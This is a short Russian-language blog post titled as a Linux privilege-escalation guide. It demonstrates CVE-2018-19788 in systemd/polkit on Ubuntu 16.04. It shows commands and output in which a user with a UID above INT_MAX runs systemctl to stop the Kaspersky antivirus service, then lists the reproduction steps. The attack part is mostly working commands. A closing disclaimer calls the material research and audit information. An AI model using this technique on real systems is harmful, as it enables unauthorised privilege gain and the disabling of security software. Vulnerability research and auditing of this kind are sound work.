Как повысить привилегии в Linux

Недавно мы рассмотрели уязвимость CVE-2018-19788.

Давайте посмотрим ее на практике.

версия systemd :

$ systemctl --version

systemd 229

+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ -LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD -IDN

Для полноты:

$ pkttyagent --version

pkttyagent version 0.105

 

Используемый дистрибутив:

$ cat /etc/issue

Ubuntu 16.04.3 LTS n l

 

Ожидаемое поведение, которого вы не увидите

$ id

uid=4000000000(user1) gid=20001(user1) группы=20001(user1)
$ systemctl stop kesl-supervisor.service

Failed to stop kesl-supervisor.service: Access denied

See system logs and 'systemctl status kesl-supervisor.service' for details.

Неожиданное поведение, которое вы увидите

$ id

uid=4000000000(user1) gid=20001(user1) группы=20001(user1)



$ systemctl stop kesl-supervisor.service



(process:10348): GLib-GObject-WARNING **: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'

**

ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)



$ service kesl-supervisor status

● kesl-supervisor.service - kesl

Loaded: loaded (/etc/systemd/system/kesl-supervisor.service; enabled; vendor

Active: inactive (dead) since Ср 2018-12-12 10:05:38 MSK; 9s ago

Process: 10246 ExecStop=/etc/init.d/kesl-supervisor stop (code=exited, status=

Process: 815 ExecStart=/etc/init.d/kesl-supervisor start (code=exited, status=

Main PID: 860 (code=exited, status=0/SUCCESS)

 

Как видите, мы остановили службу Антивируса Kaspersky

Шаги, чтобы воспроизвести проблему

  • создать пользователя с UID> INT_MAX, например, 4000000000
  • запустить любую команду systemctl

 

¯_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

Друзья помогите этому контенту стать доступнее в социальных сетях.

Не проходи мимо жмакни по кнопке возможно кому то еще он будет полезен!